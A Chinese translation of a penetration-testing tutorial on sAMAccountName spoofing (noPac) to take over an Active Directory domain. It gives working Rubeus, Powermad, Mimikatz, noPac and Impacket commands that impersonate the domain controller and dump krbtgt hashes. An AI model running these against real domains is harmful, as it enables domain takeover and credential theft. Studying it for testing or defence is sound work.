域升级——sAMAccountName欺骗技术 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

域升级——sAMAccountName欺骗技术

fanyeee 技术 2022-01-18 11:55:00
收藏

导语:在本文中,我们将跟读者一起考察基于sAMAccountName欺骗的域升级漏洞。

 与标准用户帐户相比,机器帐户会在名称末尾附加$符号。在默认情况下,Microsoft操作系统缺乏安全控制和加固措施,难以防御某些攻击。此外,多年来的事实证明,Windows生态系统中许多事情的工作方式可能会通过利用现有的功能和工作流来加以滥用。

举例来说,active directory中的每个帐户都会在“SamAccountName”属性中提供名称。但是,它却没有提供防止被滥用的措施,因此任何拥有机器帐户的用户都可以修改该值。这个值被修改后,可以用来冒充域上的其他帐户,如域控制器的机器帐户。Charlie Clark是第一个详细介绍如何将这些漏洞武器化的人。

在申请服务票证之前,需要先签发票证授予票证(TGT)。当为密钥分发中心(KDC)中不存在的帐户请求服务票证时,密钥分发中心将跟踪搜索,并在该帐户上附加$符号。结合这种行为和对“SamAccountName”属性缺乏控制的事实,渗透测试人员可以利用这一点进行域升级。具体地说,可以请求域控制器帐户的票证授予票证,并且在任何服务票证请求之前恢复“SamAccountName”属性值将强制KDC搜索域控制器的机器帐户,并代表域管理员发出提权的服务票证。

要想利用该漏洞进行域升级,用户必须具有机器帐户的权限,只有这样才能修改“SamAccountName”和“ServicePrincipalName”属性。一般来说,可以创建机器帐户的用户,都拥有修改这些属性所需的特权。在默认情况下,域用户的机器帐户配额设置为10,这表示允许用户在域上创建机器帐户数量。或者,攻击者也可以从作为机器帐户所有者的帐户的角度发动进攻。利用“SamAccountName”执行域升级包括以下步骤:

创建一个机器账户

清除“servicePrincipalName”属性

修改机器账户的“sAMAccountName”属性,以指向没有$符号的域控制器名称

为域控制器账户申请一个TGT

将“sAMAccountName”属性恢复为原始值或任何其他值

使用S4U2self方法请求一个服务票据

冒充域管理员账户接收服务票据

下图演示了“sAMAccountName”冒充技术的具体步骤。

1.png

sAMAccountName欺骗

检测漏洞

微软已经发布了补丁,以防止攻击者成功利用该漏洞。然而,在很多情况下,补丁并没有及时应用,这就创造了一个时间窗口,使得这种技术可以在渗透测试中加以利用。该技术的先决条件如下所示:

1、没有安装KB5008380和KB5008602安全补丁的域控制器

2、有效的域用户帐户

3、机器帐户配额大于0

由于这个过程需要访问内部网络,因此,假定攻击者已经获得了低权限的帐户。如上所述,机器帐户配额默认为10,因此唯一的要求是识别系统是否应用了补丁。这并非难事,可以通过请求没有域用户帐户的PAC的票证授予票证并观察base64票证大小(与使用PAC发出的票证相比要更小)来实现。Rubeus可以与/nopac开关一起使用,以请求已知凭据的域帐户的TGT。

Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap

1.png

通过Rubeus检测sAMAccountName欺骗漏洞

从票据大小来看,可以认为域控制器是易受攻击的,因为票证没有随PAC一起发出。

1.png

没有PAC时Rubeus票据的大小

另外,C#工具noPac可用于检索网络上所有可用域控制器的TGT票证。该工具是基于Rubeus的,因为它使用库“Rubeus.lib.Interop.LUID”来获取票证。票证的大小可以确定KDC是否发出了没有PAC的票证。

noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234

1.png

noPac扫描器

如果通过PowerShell控制台进行操作的话,可以借助于Shitsecure开发的一个PowerShell脚本“Invoke-noPac”——它可以将.NET程序集noPac嵌入base64中。由于该工具实际上就是noPac,所以可以使用同样的参数来检索票证。

Import-Module .\Invoke-noPAC.ps1

Invoke-noPAC -command "scan -domain purple.lab -user pentestlab -pass Password1234"

1.png

扫描PowerShell

手动方式

实际上,现在已经有各种各样的工具和脚本,可以帮助我们从加入域和没有加入域的系统中自动完成上述任务。但是,在深入研究自动化之前,了解如何使用现有工具组手动完成漏洞利用是非常重要的。通过活动目录创建机器帐户对于渗透测试人员来说并不陌生,因为在基于资源的受限委托期间也可以使用它。Kevin Robertson开发了一个名为Powermad的PowerShell模块,该模块提供了在域上创建机器帐户的功能。

New-MachineAccount -MachineAccount "PentestLab" -Domain "purple.lab" -DomainController "dc.purple.lab"

1.png

创建机器账户

使用PowerSploit的“Set-DomainObject”从已创建的机器帐户中删除服务主体名称值非常方便:

Set-DomainObject "CN=PentestLab,CN=Computers,DC=purple,DC=lab" -Clear "serviceprincipalname"

1.png

清除SPN

通过Powermad和“SetMachineAccountAttribute”函数,也可以修改"SamAccountName"属性值以使其指向域控制器主机名:

Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "dc" -Attribute "samaccountname"

1.png

重命名sAMAccountName

查看活动目录中的属性,可以看到新机器帐户的值现在指向“dc”,因此这个帐户能够冒充域控制器。

1.png

sAMAccountName欺骗

我们可以通过查询域控制器来验证属性“sAMAccountName”是否已被修改。此外,PowerSploit中的“GetDomainComputer”函数可以用来枚举域上机器帐户的属性。

Get-DomainComputer "CN=Pentestlab,CN=Computers,DC=purple,DC=lab" -Domain purple.lab -Server dc.purple.lab | select samaccountname

1.png

检索sAMAccountName

当涉及到Kerberos的操作时,Rubeus是一个标准工具。由于sam账户的名称已经修改,所以,它现在可以从标准用户的上下文中为dc账户申请票证授予票证。

.\Rubeus.exe asktgt /user:"dc" /password:"Password123" /domain:"purple.lab" /dc:"dc.purple.lab" /nowrap

1.png

检索TGT

下面,我们需要把sam帐户名属性恢复到其原始值或任何其他值,否则无法发出服务票证。

Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "PentestLab$" -Attribute samaccountname

1.png

恢复sAMAccountName

由于TGT已经存储在内存中,所以,现在可以使用kerberos扩展"s4u2self"以域管理员的身份来请求服务票证。由于原始票证属于dc用户,而sam帐户名已重命名,即该用户已经不存在,所以,Kerberos将查找dc$,这是一个有效的机器帐户,并为请求的服务发出票证。

./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.purple.lab" /dc:"dc.purple.lab" /ptt /ticket:[Base64 TGT]

1.png

请求服务票证

我们可以在现有会话中执行Mimikatz,以便通过DCSync技术转储“krbtgt”帐户的哈希值,从而创建黄金票证。

lsadump::dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt

1.png

DCSync

自动化方式

基于sAMAccountName欺骗的渗透测试,也可以使用由Cube0x0开发的C#工具noPac直接从内存中自动完成。为此,我们可以执行下面的命令,创建一个具有指定密码的机器帐户,并将获得“CIFS”服务的服务票证,该服务票证将被传递到内存中。

noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt

1.png

noPac

以下命令可用于验证域升级的情况,因为标准用户可以枚举域控制器上C$文件夹的内容。

dir \\dc.purple.lab\c$

 1.png

验证域升级

类似地,如果初始implant是基于PowerShell的,则可以在Invoke-noPac脚本中使用相同的命令行参数。正如上面所说的那样,它实际上是noPac C#工具的包装器。

Invoke-noPac -command "-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt"

1.png

noPac PowerShell

访问域控制器的C$文件夹可以验证缓存到内存中的服务票证是否已经升级。

dir \\dc.purple.lab\c$

 1.png

验证服务票证是否已经升级

扩展到非域机器

该技术的相同原理,也可以应用到未连接到域的系统上。Hossam Hamed发布了一个名为“sam the admin”的python脚本,它模拟了这种攻击。最初,该脚本将尝试列举“ms-DS-MachineAccountQuota”属性,以确定是否可以在域中添加新的机器。然后,将用随机密码创建一个机器账户。新机器账户的 “sAMAccountName”属性将被修改为包含域控制器机器账户的值。然后,请求一个升级的票证并保存到缓存中。最后,“sAMAccountName”属性的原始值将被恢复,并使用Impacket套件中的“smbexec”建立到域控制器的会话,并使用缓存的票证。

python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -shell

 1.png

sam the admin shell

该脚本包含一个标志,可用于在后台利用“secretsdump”来转储域哈希值。

python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -dump

 1.png

sam the admin dump

这些哈希值可用于脱机破解,以便识别正在使用的弱密码,并确定客户端的密码策略是否足够强、是否符合行业标准或是否需要进一步评估。此外,由于“krbtgt”帐户的哈希值是可见的,可以为域持久化创建一个黄金票证。

 1.png

转储域哈希值

Oliver Lyak发布了一个类似的python脚本,它既可以用于扫描域控制器以识别易受攻击的主机,又可用于检索授予服务票证的票证。

python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'

 1.png

Pachine扫描器

对易受攻击的域控制器执行以下命令,就可以创建一个具有随机密码的机器帐户,以获取票证授予票证。然后,重命名机器帐户名称,并使用S4U2self检索服务票证,并将其保存在本地,以供属于“域管理员”组的管理员用户使用。

python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'

 1.png

利用Pachine获取票证

可以使用“export krb5ccname”和存储票证的路径将票证导入Kerberos缓存。由于票证现在是从当前控制台导入的,因此,Impacket“psexec”可以与Kerberos身份验证一起使用,以便访问域控制器。

export KRB5CCNAME=administrator@purple.lab.ccache

impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'

 1.png

PsExec

通过一个基于python脚本“sam the admin”的工具来实现该技术也是可行的,这个脚本名为noPac。这个扫描器脚本将枚举“ms-DS-MachineAccountQuota”属性,并尝试从所有可用的域控制器获得票证授予票证。票证大小也将显示在控制台中,以便快速识别易受攻击的目标。在下面的示例中,与主机10.0.0.1相比,在没有PAC的情况下接收的两个票证相对较小,所以,主机10.0.0.1发出的是一个带有PAC的票证。

python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

 1.png

noPac扫描器

这个脚本可以根据活动的需要用各种参数执行。只需指定一个域用户的凭证和域控制器的IP地址就可以发动攻击,直到检索到一个升级的票证为止。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

 1.png

sAMAccountName Spoofing – 通过noPac 检索服务票证

1.png

sAMAccountName Spoofing – noPac

只要附加“-shell”和“-impersonate”标志,便可以在域控制器上建立会话。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator

 1.png

冒充Administrator

类似地,“-dump”标志可用于从域用户的ntds.dit秘密中检索哈希值。由于已经通过Kerberos票证实现了域管理员访问权限,因此,可以获取“krbtgt”帐户的哈希值,以便建立域的持久性访问。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt

 1.png

转储krbtgt的哈希值

演示视频可以从这里查看。

参考资料

https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

https://exploit.ph/more-samaccountname-impersonation.html

https://github.com/WazeHell/sam-the-admin

https://github.com/cube0x0/noPac

本文翻译自:https://pentestlab.blog/2022/01/10/domain-escalation-samaccountname-spoofing/如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论